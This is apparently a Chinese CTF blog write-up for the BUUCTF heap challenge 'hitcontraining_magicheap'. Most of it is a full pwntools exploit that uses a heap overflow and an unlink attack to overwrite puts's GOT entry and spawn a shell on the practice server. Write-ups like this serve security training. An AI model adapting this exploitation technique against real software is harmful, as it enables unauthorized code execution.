0
点赞
收藏
分享

微信扫一扫

hitcontraining_magicheap buuctf

做个橙梦 2022-02-12 阅读 43
安全pwn

这题的漏洞点在编辑heap:

可以自定义编辑chunk内容的大小,存在堆溢出漏洞,这道题目打法也有很多。

我自己的思路是:

利用unlink实现任意地址写的效果,修改puts函数got表为l33t,然后getshell。

exp:

from pwn import *
p = remote("node4.buuoj.cn",25162)
#p = process("./magicheap")
e = ELF("./magicheap")
sh_addr = 0x400c50
bss_addr = 0x6020c0
context.log_level  ="debug"
p.timeout = 0.5
def add(size,content):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap:")
	p.sendline(content)
	p.recvuntil("SuccessFul\n")
def edit(index,size,content):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap : ")
	p.sendline(content)
	p.recvuntil("Done !\n")
def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Done !\n")

add(0x30,"a"*0x30)#0
add(0x30,"a"*0x30)#1
add(0x80,"a"*0x80)#2
add(0x10,"a"*0x10)# 
pl1 = p64(0) + p64(0x31) + p64(bss_addr - 0x10) + p64(bss_addr-0x8) + p64(0) + p64(0)
pl1+=  p64(0x30) + p64(0x90)
edit(1,0x40,pl1)
delete(2)
pl2 = p64(0) + p64(0) + p64(e.got["puts"])
edit(1,0x30,pl2)
edit(0,0x8,p64(sh_addr))
# gdb.attach(p)
# pause()
p.interactive()

执行脚本,成功拿到shell!

 

举报

相关推荐

hitcontraining_magicheap

BUUCTF

【BuuCTF】BadySQli

BUUCTF-Web

Buuctf-wireshark

Reverse Begin(BUUCTF)

0 条评论